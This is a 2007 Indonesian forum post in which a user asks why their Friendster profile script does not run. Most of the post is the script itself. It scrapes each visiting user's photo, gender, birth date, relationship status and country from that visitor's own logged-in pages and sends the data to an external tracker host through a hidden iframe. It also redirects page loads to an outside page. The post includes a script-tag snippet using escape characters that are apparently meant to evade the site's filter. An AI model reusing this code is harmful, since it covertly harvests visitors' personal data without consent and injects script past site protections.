[b]editan[/b]
mau nanya nih.
aku bikin enterpage yang di satuin ama wvm ini codenya
[quote]var myplace = document.location.href;
if (myplace == "http://www.friendster.com/user.php?uid=49006467"){
}
else if (myplace == "http://www.friendster.com/user.php?uid=49006467"){
}
else {
location.href = "http://h1.ripway.com/probe/external.js/enterpage.html";
}
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
function onProfileLoad() {
addSideBar(pageOwnerFName+"'s Visitors",TRACKER.vars.div.innerHTML,"tracker");
}
/*TRACKER OBJECT*/
if (typeof TRACKER == "undefined") { TRACKER = {}; }
TRACKER.vars = {
style: "filter: chroma(color=\"#FFFFFF\");width:100%;height:300;overflow:auto;border:0px",
attributes: "frameborder='0' allowtransparency='true'",
phplink: "http://h1.ripway.com/probe/tracker/tracker.php",
exitmessage: "Bye "+pageViewerFName,
base_domain: "http://www.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp",
details: {
photo: null,
gender: null,
age: null,
status: null,
location: null
},
regexp: {
photo: /imgblock65homeprofile"[\S\s]*?src="([\S\s]*?)"/,
gender: /value="([m|f]{1})" checked>/,
birth: {
day: /birthday">[\S\s]*?selected>([\S\s]*?)</,
month: /birthmonth">[\S\s]*?selected>([\S\s]*?)</,
year: /birthyear">[\S\s]*?selected>([\S\s]*?)</
},
status: /name="status"[\S\s]+?checked>[\S\s]+?>([\S\s]+?)<\/label/,
location: /name="country"[\S\s]*?selected>([\S\s]*?)</
}
};
TRACKER.init = function(phplink,iframeid,attri,style) {
var d= new Date();
var sec=invert(d.getTimezoneOffset()*60);
var hr=invert(d.getTimezoneOffset()/60);
TRACKER.vars.timedetails="oss="+sec+"&osh="+hr;
var ifsrc=TRACKER.vars.phplink+"?"+TRACKER.vars.timedetails;
try {TRACKER.vars.div=document.createElement("<div>")}
catch(e) {TRACKER.vars.div=document.createElement("div")}
TRACKER.vars.div.innerHTML="<iframe id='wvm' "+TRACKER.vars.attributes+" src='"+ifsrc+"' style='"+TRACKER.vars.style+"'></iframe>";
if(pageViewerID!=pageOwnerID) if(pageViewerID!="")TRACKER.getHOME();
};
TRACKER.getHOME = function () {
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange= function stateChanged(){
if (httprequest.readyState==4){
var indexhtml=httprequest.responseText;
TRACKER.vars.details.photo=urlencode(new RegExp(TRACKER.vars.regexp.photo).exec(indexhtml)[1]);
TRACKER.getEDIT();
}
}
httprequest.open( 'GET', TRACKER.vars.base_domain+"/", true);
httprequest.send(null);
};
TRACKER.getEDIT = function () {
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange= function stateChanged(){
if (httprequest.readyState==4){
var indexhtml=httprequest.responseText;
TRACKER.vars.details.status=urlencode(new RegExp(TRACKER.vars.regexp.status).exec(indexhtml)[1]);
TRACKER.vars.details.location=urlencode(new RegExp(TRACKER.vars.regexp.location).exec(indexhtml)[1]);
TRACKER.vars.details.gender=new RegExp(TRACKER.vars.regexp.gender).exec(indexhtml)[1];
TRACKER.vars.details.age=displayage(new RegExp(TRACKER.vars.regexp.birth.year).exec(indexhtml)[1],getMonthIndex(new RegExp(TRACKER.vars.regexp.birth.month).exec(indexhtml)[1]),new RegExp(TRACKER.vars.regexp.birth.day).exec(indexhtml)[1],"years", 0, "rounddown");
TRACKER.vars.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+TRACKER.vars.details.photo+"&gender="+TRACKER.vars.details.gender+"&age="+TRACKER.vars.details.age+"&status="+TRACKER.vars.details.status+"&country="+TRACKER.vars.details.location;
document.getElementById(TRACKER.vars.iframeid).src=TRACKER.vars.phplink+TRACKER.vars.param+"&exit=0";
}
}
httprequest.open( 'GET', TRACKER.vars.base_domain+"/editprofile.php", true);
httprequest.send(null);
};
TRACKER.sendExit = function () {
document.getElementById(TRACKER.vars.iframeid).src=TRACKER.vars.phplink+TRACKER.vars.param+"&exit=1";
alert(TRACKER.vars.exitmessage);
};
TRACKER.init();
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") document.write("<body onbeforeunload='TRACKER.sendExit()'>");
/*END TRACKER OBJECT*/
/*MISC FUNCTIONS*/
function urlencode(txt) {
return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E");
}
function displayage(yr, mon, day, unit, decimal, round) {
var one_day=1000*60*60*24;
var one_month=1000*60*60*24*30;
var one_year=1000*60*60*24*30*12;
var today=new Date();
var pastdate=new Date(yr, mon-1, day);
var countunit=unit;
var decimals=decimal;
var rounding=round;
finalunit=(countunit=="days")? one_day : (countunit=="months")? one_month : one_year;
decimals=(decimals<=0)? 1 : decimals*10;
if (unit!="years"){
if (rounding=="rounddown") return Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
else return Math.ceil((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
}
else {
yearspast=today.getFullYear()-yr-1;
tail=(today.getMonth()>mon-1 || today.getMonth()==mon-1 && today.getDate()>=day)? 1 : 0;
pastdate.setFullYear(today.getFullYear());
pastdate2=new Date(today.getFullYear()-1, mon-1, day);
tail=(tail==1)? tail+Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals : Math.floor((today.getTime()-pastdate2.getTime())/(finalunit)*decimals)/decimals;
return yearspast+tail;
}
}
function getMonthIndex(x) {
var m="JanFebMarAprMayJunJulAugSepOctNovDec";
return (m.indexOf(x)/3)+1;
}
function invert(x) {
if(x>0) return parseInt("-"+x);
else if(x<0) {
x=x+"";
return parseInt(x.substr(1,x.length-1));
}
return 0;
}
function addMainBox (head,htm,id,bro_id) {
var ul=document.getElementById("controlpanel_1_1").parentNode;
var bro=document.getElementById(bro_id).parentNode;
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
li.innerHTML= "<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
"<div class='boxcontent'>"+
htm+
"</div>"+
"</div>"+
"</div>";
ul.parentNode.insertBefore(li,bro);
}
function addSideBar(head,htm,div_id) {
var innerHtm=htm;
var cont= "<div id='"+div_id+"' class='commonbox "+div_id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+div_id+"'>"+
innerHtm+
"</div>"+
"</div>";
try {
var obj=document.createElement("<li>");
} catch(e) {
var obj=document.createElement("li");
}
var x=document.getElementById("friends_2_2");
x.parentNode.parentNode.appendChild(obj);
obj.innerHTML=cont;
}
/*END MISC FUNCTIONS*/[/quote]
terus aku masukin ke media box jadinya gini
[quote]<%1Bscript type="text/javascript" src="http://h1.ripway.com/probe/external.js/enterpage.%1Bjs"><%1B/script>[/quote]
tapi kok masih ga keluar(jalan) juga
salah dimana nya nih? tolong di jelasin ya....thanks
@ bro kher
tolong di editin ya postinganku, kok ngabisin halaman gitu
Last edited by mummi (2007-09-07 09:02:53)